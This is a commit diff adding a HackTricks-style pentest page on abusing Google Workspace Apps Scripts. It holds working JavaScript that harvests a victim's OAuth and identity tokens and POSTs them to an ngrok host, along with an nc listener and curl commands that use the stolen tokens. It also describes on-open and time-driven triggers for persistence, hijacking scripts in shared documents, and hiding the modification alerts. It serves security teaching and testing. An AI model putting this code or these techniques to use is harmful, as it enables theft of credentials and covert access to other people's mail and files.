mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-13 21:36:23 -08:00
Migrate to using mdbook
This commit is contained in:
Congon4tor
@@ -0,0 +1,235 @@
|
||||
# GWS - App Scripts
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## App Scripts
|
||||
|
||||
App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
|
||||
They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).
|
||||
|
||||
### Create App Script
|
||||
|
||||
There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
|
||||
|
||||
1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
|
||||
2. Click **Extensions** > **Google Apps Script**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project</summary>
|
||||
|
||||
To create a standalone project from Apps Script:
|
||||
|
||||
1. Go to [`script.google.com`](https://script.google.com/).
|
||||
2. Click add **New Project**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project from Google Drive</summary>
|
||||
|
||||
1. Open [Google Drive](https://drive.google.com/).
|
||||
2. Click **New** > **More** > **Google Apps Script**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Forms</summary>
|
||||
|
||||
1. Open a form in Google Forms.
|
||||
2. Click More more_vert > **Script editor**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project using the clasp command line tool</summary>
|
||||
|
||||
`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
|
||||
|
||||
See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.
|
||||
|
||||
</details>
|
||||
|
||||
## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
|
||||
### Create Google Sheet with App Script
|
||||
|
||||
Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.
|
||||
|
||||
### Leak token
|
||||
|
||||
In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:
|
||||
|
||||
- **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
|
||||
- **Gmail**: To access gmail data
|
||||
- **Drive**: To access drive data
|
||||
- **Google Sheets API**: So it works with the trigger
|
||||
|
||||
To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**
|
||||
|
||||
```javascript
|
||||
function getToken() {
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10)
|
||||
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
}
|
||||
|
||||
function makePostRequest(data) {
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
To capture the request you can just run:
|
||||
|
||||
```bash
|
||||
ngrok tcp 4444
|
||||
nc -lv 4444 #macOS
|
||||
```
|
||||
|
||||
Permissions requested to execute the App Script:
|
||||
|
||||
<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.
|
||||
|
||||
### Create Trigger
|
||||
|
||||
Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.
|
||||
|
||||
Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.
|
||||
|
||||
### Sharing
|
||||
|
||||
In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.
|
||||
|
||||
> [!TIP]
|
||||
> The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.
|
||||
|
||||
### Abusing Shared With Me documents
|
||||
|
||||
> [!CAUTION]
|
||||
> If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
|
||||
>
|
||||
> A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)
|
||||
|
||||
> [!TIP]
|
||||
> If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
|
||||
|
||||
### Copying instead of sharing
|
||||
|
||||
When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**
|
||||
|
||||
<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.
|
||||
|
||||
### Sharing as Web Application
|
||||
|
||||
Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
|
||||
|
||||
<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Followed by the **typical OAuth prompt asking** for the needed permissions.
|
||||
|
||||
### Testing
|
||||
|
||||
You can test a gathered token to list emails with:
|
||||
|
||||
```bash
|
||||
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
|
||||
List calendar of the user:
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
```
|
||||
|
||||
## App Script as Persistence
|
||||
|
||||
One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**
|
||||
|
||||
It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:
|
||||
|
||||
Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
|
||||
|
||||
<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> This will create a security alert email and a push message to your mobile alerting about this.
|
||||
|
||||
### Shared Document Unverified Prompt Bypass
|
||||
|
||||
Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.
|
||||
|
||||
> [!WARNING]
|
||||
> This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
|
||||
>
|
||||
> This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.
|
||||
|
||||
> [!CAUTION]
|
||||
> This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
|
||||
> To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user